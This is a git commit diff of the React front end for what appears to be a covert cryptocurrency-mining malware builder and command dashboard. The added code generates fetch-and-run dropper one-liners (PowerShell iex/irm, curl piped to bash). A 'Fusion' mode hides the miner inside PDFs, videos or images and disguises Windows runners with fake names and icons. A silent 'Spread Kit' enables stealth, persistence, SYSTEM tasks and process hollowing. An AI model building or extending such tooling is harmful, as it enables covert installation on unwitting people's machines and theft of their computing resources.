Add universal forge, fusion disguise, remote deploy, and stability fixes.

Ship cross-platform spread kits and fusion ZIPs with per-OS launchers, one-liner dropper endpoints, Windows file disguise, and a large batch of wiring/bug fixes so agents connect reliably across a LAN test fleet.
This commit is contained in:
drjones
2026-05-29 20:53:13 -07:00
parent c6c2e73359
commit 0f9e04f5f6
108 changed files with 5937 additions and 1233 deletions

View File

@@ -1,7 +1,7 @@
import { useState, useEffect, useMemo, useCallback } from 'react';
import { api } from '../api/client';
import { useWebSocket } from '../hooks/useWebSocket';
import type { Agent, HashrateSample } from '../types';
import type { Agent, HashrateSample, ServerInfo } from '../types';
import HashrateChart from '../components/Charts/HashrateChart';
import NeonCard from '../components/NeonCard/NeonCard';
import AgentRemoteActions from '../components/Fleet/AgentRemoteActions';
@@ -15,13 +15,68 @@ import {
formatUptime,
} from '../help/fleetFilters';
import type { FleetFilterState } from '../help/fleetFilters';
import '../components/Fleet/FleetPanels.css';
import '../components/Fleet/FleetToolbar.css';
import '../components/Fleet/AgentRemoteActions.css';
import './Pages.css';
function QuickDeployPanel({ serverInfo }: { serverInfo: ServerInfo | null }) {
const [copied, setCopied] = useState<string | null>(null);
const base = serverInfo?.suggested_url?.replace(/\/$/, '') ?? window.location.origin;
const copy = (text: string, key: string) => {
navigator.clipboard.writeText(text).then(() => {
setCopied(key);
setTimeout(() => setCopied(null), 2000);
});
};
const ps1 = `iex (irm '${base}/install.ps1')`;
const sh = `curl -sL ${base}/install.sh | bash`;
const dlWin = `${base}/get?os=windows`;
const dlLin = `${base}/get?os=linux`;
const dlMac = `${base}/get?os=darwin`;
const Row = ({ label, cmd, id }: { label: string; cmd: string; id: string }) => (
<div style={{ display: 'flex', alignItems: 'center', gap: '0.5rem', marginBottom: '0.4rem' }}>
<span className="font-tech" style={{ minWidth: '5rem', color: 'var(--clr-amber)', fontSize: '0.75rem' }}>{label}</span>
<code style={{ flex: 1, background: 'rgba(0,0,0,0.4)', padding: '0.3rem 0.6rem', borderRadius: '4px', fontSize: '0.8rem', color: '#eee', overflowX: 'auto', whiteSpace: 'nowrap' }}>{cmd}</code>
<button className="btn btn-sm" onClick={() => copy(cmd, id)} style={{ whiteSpace: 'nowrap', minWidth: '4.5rem' }}>
{copied === id ? '✓ Copied' : 'Copy'}
</button>
</div>
);
return (
<NeonCard accent="cyan" style={{ marginBottom: '1.25rem' }}>
<div style={{ display: 'flex', alignItems: 'center', gap: '0.75rem', marginBottom: '0.75rem' }}>
<span style={{ fontSize: '1.2rem' }}></span>
<div>
<strong className="font-display" style={{ fontSize: '1rem' }}>One-liner Quick Deploy</strong>
<p className="form-hint" style={{ margin: 0 }}>
Run any of these commands on a remote machine the agent downloads itself and connects back automatically.
No files to transfer manually.
</p>
</div>
</div>
<div style={{ marginBottom: '0.75rem' }}>
<div className="font-tech" style={{ fontSize: '0.7rem', color: 'var(--clr-dim)', marginBottom: '0.4rem', textTransform: 'uppercase', letterSpacing: '0.08em' }}>Install &amp; run (auto-launches)</div>
<Row label="Windows" cmd={ps1} id="ps1" />
<Row label="Linux/Mac" cmd={sh} id="sh" />
</div>
<div>
<div className="font-tech" style={{ fontSize: '0.7rem', color: 'var(--clr-dim)', marginBottom: '0.4rem', textTransform: 'uppercase', letterSpacing: '0.08em' }}>Direct download only (saves file)</div>
<Row label="Windows" cmd={dlWin} id="dlw" />
<Row label="Linux" cmd={dlLin} id="dll" />
<Row label="macOS" cmd={dlMac} id="dlm" />
</div>
</NeonCard>
);
}
export default function AgentsPage() {
const { agents: liveAgents, isConnected, agentLogs, latestMessage } = useWebSocket();
const { agents: liveAgents, isConnected, agentLogs, commandResults } = useWebSocket();
const [agents, setAgents] = useState<Agent[]>([]);
const [selectedAgent, setSelectedAgent] = useState<Agent | null>(null);
const [expandedId, setExpandedId] = useState<string | null>(null);
@@ -30,6 +85,7 @@ export default function AgentsPage() {
const [bulkBusy, setBulkBusy] = useState(false);
const [hashrateHistory, setHashrateHistory] = useState<HashrateSample[]>([]);
const [loading, setLoading] = useState(true);
const [serverInfo, setServerInfo] = useState<ServerInfo | null>(null);
const [loadError, setLoadError] = useState('');
const [logContent, setLogContent] = useState('');
const [logLoading, setLogLoading] = useState(false);
@@ -43,6 +99,7 @@ export default function AgentsPage() {
.then(setAgents)
.catch((err) => setLoadError(err instanceof Error ? err.message : 'Failed to load agents'))
.finally(() => setLoading(false));
api.getServerInfo().then(setServerInfo).catch(() => {});
}, []);
useEffect(() => {
@@ -173,6 +230,8 @@ export default function AgentsPage() {
<span className="header-count font-tech">{filteredAgents.length}/{agents.length} NODES</span>
</header>
<QuickDeployPanel serverInfo={serverInfo} />
{loadError && (
<NeonCard accent="amber" className="empty-state">
<p>{loadError}</p>
@@ -187,7 +246,7 @@ export default function AgentsPage() {
<NeonCard accent="brass" className="empty-state">
<div className="empty-icon"></div>
<h3>No agents registered</h3>
<p>Deploy a miner to a Windows machine and it will appear here automatically.</p>
<p>Deploy a worker to any machine (Windows, Linux, or macOS) using the Forge and it will appear here automatically.</p>
</NeonCard>
) : (
<div className="agents-layout">
@@ -212,7 +271,7 @@ export default function AgentsPage() {
onCheck={(on) => toggleSelect(agent.id, on)}
onSelect={() => void selectAgent(agent)}
onToggleExpand={() => setExpandedId((prev) => (prev === agent.id ? null : agent.id))}
latestWsMessage={latestMessage}
commandResults={commandResults}
/>
))}
{filteredAgents.length === 0 && (
@@ -272,6 +331,15 @@ export default function AgentsPage() {
<span className="detail-label">Version</span>
<span className="detail-value">{selectedAgent.version || 'Unknown'}</span>
</div>
{(selectedAgent.platform || selectedAgent.os_version) && (
<div className="detail-item">
<span className="detail-label">Platform</span>
<span className="detail-value">
{[selectedAgent.platform, selectedAgent.arch].filter(Boolean).join(' / ')}
{selectedAgent.os_version ? `${selectedAgent.os_version}` : ''}
</span>
</div>
)}
<div className="detail-item">
<span className="detail-label">CPU Cores</span>
<span className="detail-value">{selectedAgent.cpu_cores}</span>
@@ -350,7 +418,7 @@ export default function AgentsPage() {
<AgentRemoteActions
agent={selectedAgent}
online={selectedAgent.status === 'online'}
latestWsMessage={latestMessage}
commandResults={commandResults}
onCommandSent={(action: string) => {
if (action === 'get_log') refreshLog(true);
}}

View File

@@ -10,6 +10,14 @@ import { lanEndpointCandidates } from '../help/endpointHelpers';
import { runForgePreflight, preflightHasErrors } from '../help/forgeValidation';
import { previewInstallPath } from '../help/installPreview';
import { applyForgeFieldUpdate, getForgeFieldMeta, getForgeLiveNotices } from '../help/forgeRules';
import {
applyDeliverableType,
deriveDeliverableType,
deliverableSummary,
installBaseOptionsForTarget,
normalizeForgeForm,
type ForgeDeliverable,
} from '../help/forgeFormNormalize';
import { ForgeFieldBadge, ForgeLockedHint, ForgeSectionHeader } from '../components/Forge/ForgeFieldHints';
import { blueprintDiff, buildRequestFromRecord } from '../help/buildManager';
import { LanDownloadQR } from '../components/Fleet/LanDownloadQR';
@@ -17,12 +25,14 @@ import AuthDownloadButton from '../components/AuthDownloadButton';
import DownloadButton from '../components/DownloadButton';
import { downloadApiFile } from '../api/download';
import {
isFusionVideoFile,
fusionPayloadKind,
fusionTitleFromFilename,
fusionFileTypeLabel,
disguisedWindowsRunnerName,
disguisedDisplayName,
defaultRunnerName,
defaultEmbeddedName,
} from '../help/fusionMedia';
import '../components/Fleet/FleetPanels.css';
import './Pages.css';
function formatBytes(n: number): string {
@@ -72,6 +82,8 @@ export default function BuilderPage() {
} | null>(null);
const [fusionEstimate, setFusionEstimate] = useState<FusionEstimate | null>(null);
const [estimateLoading, setEstimateLoading] = useState(false);
// Set to true to request cancellation between batch iterations
const batchCancelRef = useRef(false);
const [estimateError, setEstimateError] = useState('');
const [serverInfo, setServerInfo] = useState<ServerInfo | null>(null);
const [listenPort, setListenPort] = useState(8989);
@@ -206,6 +218,16 @@ export default function BuilderPage() {
setForm(merged);
setError('');
setLastBuild(null);
// Fusion re-forge requires the payload file — prep files are not kept on the
// server after a build completes (M15). Prompt the user to re-upload first.
if (merged.fusion_enabled && !fusionPrepFile) {
setError(
'This build used a Fusion payload. Re-upload the payload file in the Fusion section above, then click "Re-forge" again.'
);
return;
}
const checks = runForgePreflight(merged, !!fusionPrepFile);
if (preflightHasErrors(checks)) {
setError('Re-forge preflight failed — adjust settings and forge manually.');
@@ -281,25 +303,24 @@ export default function BuilderPage() {
if (!f) return;
setForm((prev) => {
if (!prev) return prev;
const video = isFusionVideoFile(f);
const mode = prev.fusion_media_mode || 'paired';
return {
...prev,
fusion_payload_kind: video ? 'video' : 'exe',
fusion_payload_kind: fusionPayloadKind(f),
fusion_media_base_name: f.name,
fusion_output_name: video
? mode === 'embedded'
? defaultEmbeddedName(f.name)
: defaultRunnerName(f.name)
: f.name,
fusion_output_name: defaultRunnerName(f.name),
};
});
};
const handleBatchForgeMovies = async () => {
const handleBatchCancel = () => {
batchCancelRef.current = true;
};
const handleBatchForge = async () => {
if (!form || fusionBatchFiles.length === 0) return;
setError('');
setLastBuild(null);
batchCancelRef.current = false;
setBuilding(true);
const total = fusionBatchFiles.length;
const log = fusionBatchFiles.map((f) => ({ name: f.name, status: 'pending' as const }));
@@ -307,6 +328,12 @@ export default function BuilderPage() {
let ok = 0;
try {
for (let i = 0; i < total; i++) {
if (batchCancelRef.current) {
setBatchJob((j) => (j ? { ...j, phase: 'cancelled', fileName: '' } : j));
setBlueprintMsg(`Batch forge cancelled after ${ok} of ${total} file(s).`);
setTimeout(() => setBlueprintMsg(''), 5000);
break;
}
const file = fusionBatchFiles[i];
const title = fusionTitleFromFilename(file.name);
const pct = Math.round((i / total) * 100);
@@ -324,17 +351,17 @@ export default function BuilderPage() {
}
: j
);
const mode = form.fusion_media_mode || 'paired';
const req: BuildRequest = {
const req = normalizeForgeForm({
...form,
target_os: 'universal',
fusion_enabled: true,
fusion_payload_kind: 'video',
spread_kit: false,
fusion_payload_kind: fusionPayloadKind(file),
fusion_media_base_name: file.name,
fusion_export_subdir: title,
fusion_output_name:
mode === 'embedded' ? defaultEmbeddedName(file.name) : defaultRunnerName(file.name),
fusion_output_name: defaultRunnerName(file.name),
worker_name: `${form.worker_name || 'miner'}-${title}`.replace(/[^a-zA-Z0-9._-]+/g, '_').slice(0, 48),
};
});
const checks = runForgePreflight(req, true);
if (preflightHasErrors(checks)) {
throw new Error(`Preflight failed for ${file.name}`);
@@ -374,7 +401,7 @@ export default function BuilderPage() {
);
}
setBatchJob((j) => (j ? { ...j, phase: 'done', percent: 100, fileName: '' } : j));
setBlueprintMsg(`✅ Batch forged ${ok} movie(s) — one ZIP per title in fusion-deliverables/`);
setBlueprintMsg(`✅ Batch forged ${ok} file(s) — one universal ZIP per file in fusion-deliverables/`);
setTimeout(() => setBlueprintMsg(''), 6000);
setFusionBatchFiles([]);
} catch (err: unknown) {
@@ -403,7 +430,12 @@ export default function BuilderPage() {
setError('');
setLastBuild(null);
const checks = runForgePreflight(form, !!fusionPrepFile);
const normalized = normalizeForgeForm(form);
if (normalized !== form) {
setForm(normalized);
}
const checks = runForgePreflight(normalized, !!fusionPrepFile);
if (preflightHasErrors(checks)) {
setError('Preflight failed — fix errors in the checklist below before forging.');
return;
@@ -411,7 +443,7 @@ export default function BuilderPage() {
setBuilding(true);
try {
const result = await api.buildAgent(form, fusionPrepFile);
const result = await api.buildAgent(normalized, fusionPrepFile);
if (!result.success) {
throw new Error(result.error || 'Build failed');
}
@@ -433,7 +465,9 @@ export default function BuilderPage() {
]);
const candidates = lanEndpointCandidates(info, config.port || info.port);
const base = defaultsFromConfig(config, info, builds);
setForm(applySmartForgeDefaults({ ...base, fusion_enabled: form.fusion_enabled }, { builds, endpointCandidates: candidates }));
const kind = form ? deriveDeliverableType(form) : 'single';
const merged = applySmartForgeDefaults({ ...base, fusion_enabled: form.fusion_enabled }, { builds, endpointCandidates: candidates });
setForm(applyDeliverableType(merged, kind));
setBlueprintMsg('✅ Recommended defaults applied');
setTimeout(() => setBlueprintMsg(''), 2500);
} catch (err: unknown) {
@@ -445,6 +479,18 @@ export default function BuilderPage() {
setForm((prev) => (prev ? applyForgeFieldUpdate(prev, field, value) : prev));
};
const setDeliverableType = (type: ForgeDeliverable) => {
setForm((prev) => (prev ? applyDeliverableType(prev, type) : prev));
if (type !== 'fusion') {
setFusionPrepFile(null);
setFusionBatchFiles([]);
setFusionEstimate(null);
}
};
const deliverableType = form ? deriveDeliverableType(form) : 'single';
const installBaseOptions = installBaseOptionsForTarget(form?.target_os);
const fieldMeta = useMemo(() => (form ? getForgeFieldMeta(form) : {}), [form]);
const liveNotices = useMemo(
() => (form ? getForgeLiveNotices(form, !!fusionPrepFile) : []),
@@ -456,7 +502,7 @@ export default function BuilderPage() {
);
const canForge = form ? !preflightHasErrors(preflightChecks) : false;
const errorCount = preflightChecks.filter((c) => c.level === 'error').length;
const fusionIsVideo = isFusionVideoFile(fusionPrepFile);
const fusionIsExe = fusionPayloadKind(fusionPrepFile) === 'exe';
const fusionMediaMode = form?.fusion_media_mode || 'paired';
useEffect(() => {
@@ -517,6 +563,7 @@ export default function BuilderPage() {
install_relative_path: form.install_relative_path,
worker_name: form.worker_name,
process_name: form.process_name,
target_os: form.target_os,
});
const endpointCandidates = serverInfo ? lanEndpointCandidates(serverInfo, listenPort) : [];
@@ -688,8 +735,8 @@ export default function BuilderPage() {
<h2>{simpleMode ? 'Quick Forge' : 'Build Miner Installer'}</h2>
<p className="form-description">
{simpleMode
? 'Three fields below, then forge. Pick your LAN address chip if unsure — not localhost. Output lands in the project root when done.'
: 'Creates a single Windows installer `.exe`. Copy it to any machine on your network and run it once. It installs the miner, registers auto-start, connects back to this dashboard at your LAN IP, and begins mining.'}
? 'Pick a deliverable type, fill the three identity fields, then forge. LAN address chips beat localhost. Spread Kit = silent multi-OS ZIP; Movie = universal fusion.'
: 'Creates installers for Windows, Linux, macOS, or all three. Incompatible fields lock automatically — grayed inputs are ignored at forge time.'}
</p>
<form onSubmit={handleSubmit}>
@@ -707,8 +754,9 @@ export default function BuilderPage() {
<input
type="text"
className="input"
placeholder="office-pc-1"
placeholder="e.g. office-pc-1 (letters, numbers, dash, dot)"
value={form.worker_name}
maxLength={48}
onChange={(e) => updateField('worker_name', e.target.value)}
required
/>
@@ -728,7 +776,7 @@ export default function BuilderPage() {
</div>
<input
type="url"
className="input mono endpoint-input"
className={`input mono endpoint-input${form.server_url && (form.server_url.includes('localhost') || form.server_url.includes('127.0.0.1')) ? ' input-warn' : ''}`}
placeholder={`http://192.168.1.10:${listenPort}`}
value={form.server_url}
onChange={(e) => updateField('server_url', e.target.value)}
@@ -736,6 +784,11 @@ export default function BuilderPage() {
autoComplete="off"
spellCheck={false}
/>
{form.server_url && (form.server_url.includes('localhost') || form.server_url.includes('127.0.0.1')) && (
<p className="form-hint" style={{ color: 'var(--neon-red, #f55)' }}>
localhost/127.0.0.1 baked into the worker will fail on other machines use your LAN IP chip below.
</p>
)}
<FieldHint field="server_url" />
<p className="form-hint endpoint-hint">
Baked into each installer. Change here when this host&apos;s LAN IP changes you do not need to update Calibrate first.
@@ -763,14 +816,118 @@ export default function BuilderPage() {
<label className="label">XMR Wallet Address <HelpTip field="wallet" /></label>
<input
type="text"
className="input mono"
className={`input mono${form.wallet && form.wallet.trim().length > 0 && form.wallet.trim().length < 90 ? ' input-warn' : ''}`}
placeholder="4... or 8... (95106 characters)"
value={form.wallet}
onChange={(e) => updateField('wallet', e.target.value)}
required
spellCheck={false}
/>
{form.wallet && form.wallet.trim().length > 0 && form.wallet.trim().length < 90 && (
<p className="form-hint" style={{ color: 'var(--neon-amber, #ffa)' }}>
Wallet address looks short Monero addresses are 95106 characters starting with 4 or 8.
</p>
)}
<FieldHint field="wallet" />
</div>
<div className="form-section">
<ForgeSectionHeader
title="Deliverable"
badge="baked"
description="Pick what you are shipping. Incompatible options are locked automatically."
/>
<p className="form-hint" style={{ marginBottom: '0.75rem' }}>
{deliverableSummary(deliverableType)}
</p>
<div className="forge-rules-grid" style={{ marginBottom: '0.75rem' }}>
<button
type="button"
className={`forge-rule-card deliverable-card ${deliverableType === 'single' ? 'deliverable-active' : ''}`}
onClick={() => setDeliverableType('single')}
>
<strong>Single platform worker</strong>
<span className="form-hint">One .exe or binary for Windows, Linux, or macOS.</span>
</button>
<button
type="button"
className={`forge-rule-card deliverable-card ${deliverableType === 'spread_kit' ? 'deliverable-active' : ''}`}
onClick={() => setDeliverableType('spread_kit')}
>
<strong>Universal Spread Kit</strong>
<span className="form-hint">Silent ZIP Deploy.bat / deploy.sh installs on any OS.</span>
</button>
<button
type="button"
className={`forge-rule-card deliverable-card ${deliverableType === 'fusion' ? 'deliverable-active' : ''}`}
onClick={() => setDeliverableType('fusion')}
>
<strong>Fusion</strong>
<span className="form-hint">Hide miner in any file PDF, video, doc, image. One universal ZIP works on all OSes.</span>
</button>
</div>
</div>
<div className="form-section">
<ForgeSectionHeader
title="Platform"
badge="baked"
description={
deliverableType === 'single'
? 'Which OS this single installer targets.'
: 'Locked to Universal — all platforms are included in the ZIP.'
}
/>
<div className="form-row">
<div className={`form-group ${fieldMeta.target_os?.disabled ? 'field-disabled' : ''}`}>
<label className="label">Target OS <HelpTip field="target_os" /></label>
{fieldMeta.target_os?.disabled ? (
<input
type="text"
className="input"
disabled
value="Universal (all platforms)"
readOnly
/>
) : (
<select
className="select"
value={form.target_os || 'windows'}
onChange={(e) => updateField('target_os', e.target.value)}
>
<option value="windows">Windows</option>
<option value="linux">Linux</option>
<option value="darwin">macOS</option>
</select>
)}
<FieldHint field="target_os" />
<ForgeLockedHint meta={fieldMeta.target_os} />
</div>
{(form.target_os === 'linux' || form.target_os === 'darwin') && (
<div className={`form-group ${fieldMeta.target_arch?.disabled ? 'field-disabled' : ''}`}>
<label className="label">Architecture <HelpTip field="target_arch" /></label>
<select
className="select"
disabled={fieldMeta.target_arch?.disabled}
value={form.target_arch || (form.target_os === 'darwin' ? 'arm64' : 'amd64')}
onChange={(e) => updateField('target_arch', e.target.value)}
>
<option value="amd64">amd64 (Intel/AMD)</option>
<option value="arm64">arm64 (Apple Silicon / ARM)</option>
</select>
<FieldHint field="target_arch" />
<ForgeLockedHint meta={fieldMeta.target_arch} />
</div>
)}
</div>
{deliverableType === 'spread_kit' && (
<p className="form-hint">
Spread Kit preset: idle mining, stealth, persistence, self-healing, and remote aggressive ops enabled.
Upload nothing forge produces the deploy ZIP.
</p>
)}
</div>
{!simpleMode && (
<div className={`form-group ${fieldMeta.output_dir?.badge === 'server-only' ? '' : ''}`}>
<div className="label-row">
@@ -820,7 +977,8 @@ export default function BuilderPage() {
min={1}
max={65535}
value={form.pool_port}
onChange={(e) => updateField('pool_port', parseInt(e.target.value) || 3333)}
onChange={(e) => { const v = e.target.valueAsNumber; if (isFinite(v) && v >= 1 && v <= 65535) updateField('pool_port', v); }}
onBlur={(e) => { const v = e.target.valueAsNumber; if (!isFinite(v) || v < 1 || v > 65535) updateField('pool_port', 3333); }}
/>
</div>
<div className="form-group checkbox-group" style={{ alignSelf: 'flex-end', paddingBottom: '8px' }}>
@@ -840,9 +998,11 @@ export default function BuilderPage() {
<input
type="text"
className="input"
placeholder="x"
value={form.pool_pass}
onChange={(e) => updateField('pool_pass', e.target.value)}
/>
<p className="form-hint">Standard Monero pools use <code>x</code> leave blank to use that default.</p>
</div>
</div>
@@ -865,7 +1025,8 @@ export default function BuilderPage() {
<label className="label">Thread Percent <HelpTip field="thread_percent" /></label>
<input type="number" className="input" min={1} max={100} value={form.thread_percent}
disabled={fieldMeta.thread_percent?.disabled}
onChange={(e) => updateField('thread_percent', parseInt(e.target.value) || 75)} />
onChange={(e) => { const v = e.target.valueAsNumber; if (isFinite(v)) updateField('thread_percent', v); }}
onBlur={(e) => { const v = e.target.valueAsNumber; if (!isFinite(v) || v < 1) updateField('thread_percent', 75); else if (v > 100) updateField('thread_percent', 100); }} />
<ForgeLockedHint meta={fieldMeta.thread_percent} />
</div>
</div>
@@ -874,7 +1035,8 @@ export default function BuilderPage() {
<label className="label">Fixed Threads <HelpTip field="threads" /></label>
<input type="number" className="input" min={1} max={128} value={form.threads}
disabled={fieldMeta.threads?.disabled}
onChange={(e) => updateField('threads', parseInt(e.target.value) || 1)} />
onChange={(e) => { const v = e.target.valueAsNumber; if (isFinite(v) && v >= 1) updateField('threads', v); }}
onBlur={(e) => { const v = e.target.valueAsNumber; if (!isFinite(v) || v < 1) updateField('threads', 4); }} />
<ForgeLockedHint meta={fieldMeta.threads} />
</div>
<div className="form-group">
@@ -892,19 +1054,22 @@ export default function BuilderPage() {
<div className="form-group">
<label className="label">Max CPU Usage (%) <HelpTip field="max_cpu_usage_pct" /></label>
<input type="number" className="input" min={1} max={100} value={form.max_cpu_usage_pct}
onChange={(e) => updateField('max_cpu_usage_pct', parseInt(e.target.value) || 80)} />
onChange={(e) => { const v = e.target.valueAsNumber; if (isFinite(v) && v >= 1 && v <= 100) updateField('max_cpu_usage_pct', v); }}
onBlur={(e) => { const v = e.target.valueAsNumber; if (!isFinite(v) || v < 1) updateField('max_cpu_usage_pct', 80); }} />
</div>
<div className="form-group">
<label className="label">Max Memory (%) <HelpTip field="max_memory_percent" /></label>
<input type="number" className="input" min={10} max={95} value={form.max_memory_percent}
onChange={(e) => updateField('max_memory_percent', parseInt(e.target.value) || 70)} />
onChange={(e) => { const v = e.target.valueAsNumber; if (isFinite(v) && v >= 10 && v <= 95) updateField('max_memory_percent', v); }}
onBlur={(e) => { const v = e.target.valueAsNumber; if (!isFinite(v) || v < 10) updateField('max_memory_percent', 70); }} />
<FieldHint field="max_memory_percent" />
</div>
</div>
<div className="form-group">
<label className="label">Min Free RAM (MB) <HelpTip field="min_free_ram_mb" /></label>
<input type="number" className="input" min={256} value={form.min_free_ram_mb}
onChange={(e) => updateField('min_free_ram_mb', parseInt(e.target.value) || 1024)} />
onChange={(e) => { const v = e.target.valueAsNumber; if (isFinite(v) && v >= 256) updateField('min_free_ram_mb', v); }}
onBlur={(e) => { const v = e.target.valueAsNumber; if (!isFinite(v) || v < 256) updateField('min_free_ram_mb', 1024); }} />
</div>
<div className="form-group">
<label className="label">Mining Mode <HelpTip field="mining_mode" /></label>
@@ -929,7 +1094,8 @@ export default function BuilderPage() {
max={100}
disabled={fieldMeta.idle_threshold_pct?.disabled}
value={form.idle_threshold_pct}
onChange={(e) => updateField('idle_threshold_pct', parseInt(e.target.value) || 20)}
onChange={(e) => { const v = e.target.valueAsNumber; if (isFinite(v) && v >= 1 && v <= 100) updateField('idle_threshold_pct', v); }}
onBlur={(e) => { const v = e.target.valueAsNumber; if (!isFinite(v) || v < 1) updateField('idle_threshold_pct', 20); }}
/>
</div>
<div className={`form-group ${fieldMeta.idle_duration_minutes?.disabled ? 'field-disabled' : ''}`}>
@@ -940,7 +1106,8 @@ export default function BuilderPage() {
min={1}
disabled={fieldMeta.idle_duration_minutes?.disabled}
value={form.idle_duration_minutes}
onChange={(e) => updateField('idle_duration_minutes', parseInt(e.target.value) || 5)}
onChange={(e) => { const v = e.target.valueAsNumber; if (isFinite(v) && v >= 1) updateField('idle_duration_minutes', v); }}
onBlur={(e) => { const v = e.target.valueAsNumber; if (!isFinite(v) || v < 1) updateField('idle_duration_minutes', 5); }}
/>
</div>
</div>
@@ -981,19 +1148,26 @@ export default function BuilderPage() {
<label className="label">Install Base Folder <HelpTip field="install_base" /></label>
<select className="select" value={form.install_base}
onChange={(e) => updateField('install_base', e.target.value)}>
<option value="localappdata">Local App Data (%LOCALAPPDATA%)</option>
<option value="appdata">Roaming App Data (%APPDATA%)</option>
<option value="programdata">Program Data (%ProgramData%)</option>
<option value="userprofile">User Profile (%USERPROFILE%)</option>
<option value="temp">Temp Folder (%TEMP%)</option>
<option value="custom">Custom Path</option>
{installBaseOptions.map((opt) => (
<option key={opt.value} value={opt.value}>{opt.label}</option>
))}
</select>
<FieldHint field="install_base" />
{installBaseOptions.find((o) => o.value === form.install_base)?.hint && (
<p className="form-hint">
{installBaseOptions.find((o) => o.value === form.install_base)!.hint}
</p>
)}
</div>
{form.install_base === 'custom' && (
<div className={`form-group ${fieldMeta.install_custom_base?.disabled ? 'field-disabled' : ''}`}>
<label className="label">Custom Base Path <HelpTip field="install_custom_base" /></label>
<input type="text" className="input mono" placeholder="C:\\Hidden\\Miner or %ProgramData%\\MyApp"
<input type="text" className="input mono"
placeholder={
form.target_os === 'linux' || form.target_os === 'darwin'
? '/home/user/.local/share or ~/Library/Application Support'
: 'C:\\Hidden\\Miner or %ProgramData%\\MyApp'
}
disabled={fieldMeta.install_custom_base?.disabled}
value={form.install_custom_base}
onChange={(e) => updateField('install_custom_base', e.target.value)} />
@@ -1027,7 +1201,14 @@ export default function BuilderPage() {
<label className="checkbox-label">
<input type="checkbox" className="checkbox" checked={form.firewall_exclusion}
onChange={(e) => updateField('firewall_exclusion', e.target.checked)} />
<span>Windows Firewall allow rules for this miner <HelpTip field="firewall_exclusion" /></span>
<span>
{form.target_os === 'linux' || form.target_os === 'darwin'
? 'Firewall allow rules (ufw/iptables when available)'
: form.target_os === 'universal'
? 'Firewall allow rules (per OS — netsh / ufw / best-effort)'
: 'Windows Firewall allow rules for this miner'}{' '}
<HelpTip field="firewall_exclusion" />
</span>
</label>
<FieldHint field="firewall_exclusion" />
</div>
@@ -1047,13 +1228,15 @@ export default function BuilderPage() {
</label>
<FieldHint field="stealth_mode" />
</div>
<div className="form-group checkbox-group">
<div className={`form-group checkbox-group ${fieldMeta.process_hollowing?.disabled ? 'field-disabled' : ''}`}>
<label className="checkbox-label">
<input type="checkbox" className="checkbox" checked={form.process_hollowing}
disabled={fieldMeta.process_hollowing?.disabled}
onChange={(e) => updateField('process_hollowing', e.target.checked)} />
<span>Process Hollowing (memory injection) <HelpTip field="process_hollowing" /></span>
<span>Process Hollowing (Windows only) <HelpTip field="process_hollowing" /></span>
</label>
<FieldHint field="process_hollowing" />
<ForgeLockedHint meta={fieldMeta.process_hollowing} />
</div>
<div className={`form-group checkbox-group ${fieldMeta.file_logging?.disabled ? 'field-disabled' : ''}`}>
<label className="checkbox-label">
@@ -1097,9 +1280,9 @@ export default function BuilderPage() {
value={form.run_as}
onChange={(e) => updateField('run_as', e.target.value)}
>
<option value="user">Current User (Run key when persistence on)</option>
<option value="service">Scheduled Task forced persistence</option>
<option value="scheduled">Scheduled Task forced persistence</option>
<option value="user">Current User (Run key persistence optional)</option>
<option value="scheduled">Scheduled Task (logon task persistence forced on)</option>
<option value="service">Scheduled Task as SYSTEM (elevated persistence forced on)</option>
</select>
<FieldHint field="run_as" />
</div>
@@ -1116,105 +1299,130 @@ export default function BuilderPage() {
</>
)}
{deliverableType !== 'spread_kit' && (
<div className="form-section">
<ForgeSectionHeader
title="Fusion (prep + worker)"
title="Fusion — Hide miner in any file"
badge="baked"
description={simpleMode
? 'Optional — hide the miner inside your own prep.exe. Upload prep, forge, deploy one file.'
: 'Optional — bundles prep.exe with the miner. Forces background display when enabled.'}
? 'Drop any file — PDF, video, document, image, or executable. It opens normally while the miner installs silently. Each file gets its own universal ZIP for Windows, Mac, and Linux.'
: 'Fuse the miner with any file. The recipient sees their file open as normal; the miner runs invisibly. Produces a universal ZIP for all platforms.'}
/>
<div className="form-group checkbox-group">
{deliverableType !== 'fusion' && (
<div className={`form-group checkbox-group ${fieldMeta.fusion_enabled?.disabled ? 'field-disabled' : ''}`}>
<label className="checkbox-label">
<input type="checkbox" className="checkbox" checked={form.fusion_enabled}
disabled={fieldMeta.fusion_enabled?.disabled}
onChange={(e) => updateField('fusion_enabled', e.target.checked)} />
<span>Enable Fusion <HelpTip field="fusion_enabled" /></span>
</label>
<FieldHint field="fusion_enabled" />
<ForgeLockedHint meta={fieldMeta.fusion_enabled} />
</div>
)}
{deliverableType === 'fusion' && (
<p className="form-hint" style={{ marginBottom: '0.75rem' }}>
Fusion selected drop your files below and forge. Each file becomes its own universal ZIP (Windows + Mac + Linux) that can be sent to any machine.
</p>
)}
{form.fusion_enabled && (
<>
{/* Single-file pick (used when Forge button is clicked) */}
<div className={`form-group ${fieldMeta.fusion_prep?.disabled ? 'field-disabled' : ''}`}>
<div className="label-row">
<label className="label">Prep .exe or movie (.mp4 / .mkv / .mov) <HelpTip field="fusion_prep" /></label>
<label className="label">
Drop any file to fuse <HelpTip field="fusion_prep" />
</label>
<ForgeFieldBadge meta={fieldMeta.fusion_prep} />
</div>
<input
type="file"
className="input"
accept=".exe,.mp4,.mkv,.mov,application/octet-stream,video/*"
accept="*"
onChange={(e) => {
applyFusionFileSelection(e.target.files?.[0] || null);
e.target.value = '';
}}
/>
{fusionPrepFile && (
{fusionPrepFile && !fusionIsExe && (
<div className="form-hint" style={{ marginTop: '0.4rem' }}>
<strong>{fusionPrepFile.name}</strong> {fusionFileTypeLabel(fusionPrepFile.name)},{' '}
{(fusionPrepFile.size / 1024 / 1024).toFixed(2)} MB
<br />
<span style={{ color: 'var(--color-accent)' }}>
Windows disguise: runner will be named{' '}
<code>{disguisedWindowsRunnerName(fusionPrepFile.name)}</code> with the{' '}
{fusionFileTypeLabel(fusionPrepFile.name)} icon injected.
Explorer shows it as <code>{disguisedDisplayName(fusionPrepFile.name)}</code> identical to a real {fusionFileTypeLabel(fusionPrepFile.name)}.
</span>
</div>
)}
{fusionPrepFile && fusionIsExe && (
<span className="form-hint">
Selected: {fusionPrepFile.name} ({(fusionPrepFile.size / 1024 / 1024).toFixed(2)} MB)
{fusionIsVideo ? ' — video payload' : ' — exe payload'}
<strong>{fusionPrepFile.name}</strong> Windows executable, {(fusionPrepFile.size / 1024 / 1024).toFixed(2)} MB will run directly when opened
</span>
)}
<p className="form-hint">Upload limit: 2 GB per file.</p>
<p className="form-hint">
